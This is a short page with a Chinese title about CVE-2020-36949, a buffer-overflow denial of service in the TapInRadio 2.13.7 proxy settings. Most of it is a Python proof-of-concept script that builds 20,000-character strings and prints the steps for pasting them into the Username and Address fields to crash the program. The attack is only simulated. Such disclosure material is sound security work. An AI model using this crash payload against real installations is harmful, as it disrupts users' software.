CVE-2020-36949 TapInRadio代理设置缓冲区溢出拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2020-36949 PoC - TapInRadio Proxy Settings Buffer Overflow DoS This PoC demonstrates the denial of service vulnerability in TapInRadio 2.13.7 proxy settings by sending a large buffer to overflow input fields. Usage: python3 cve-2020-36949_poc.py """ import sys import time def generate_large_payload(size=20000): """Generate a large string payload to overflow input fields.""" # Generate printable characters for input field overflow payload = 'A' * size return payload def exploit_tapinradio_proxy_overflow(): """ Simulate the exploitation of CVE-2020-36949. Attack vector: 1. Attacker accesses TapInRadio proxy settings (Settings -> Preferences -> Proxy) 2. Attacker pastes 20,000+ character string into Username field 3. Attacker pastes 20,000+ character string into Address field 4. Application crashes and becomes unresponsive 5. User must terminate process or reinstall application """ print("[*] CVE-2020-36949 TapInRadio Proxy Settings DoS PoC") print("[*] Target: TapInRadio <= 2.13.7") print("-" * 50) # Generate overflow payloads username_payload = generate_large_payload(20000) address_payload = generate_large_payload(20000) print(f"[+] Generated username payload: {len(username_payload)} bytes") print(f"[+] Generated address payload: {len(address_payload)} bytes") print("\n[*] Attack simulation:") print(f"[+] Step 1: Navigate to TapInRadio -> Settings -> Preferences -> Proxy") print(f"[+] Step 2: Input username field with {len(username_payload)} characters") print(f"[+] Step 3: Input address field with {len(address_payload)} characters") print(f"[+] Step 4: Click Save/Apply button") print(f"[+] Step 5: Application crashes due to buffer overflow") # Simulate the attack print("\n[*] Executing attack...") time.sleep(1) # Display the overflow pattern print(f"\n[+] Username payload preview: {username_payload[:50]}...") print(f"[+] Address payload preview: {address_payload[:50]}...") print("\n[!] Result: Application becomes unresponsive and crashes") print("[!] User intervention required to restore application functionality") return True if __name__ == "__main__": exploit_tapinradio_proxy_overflow()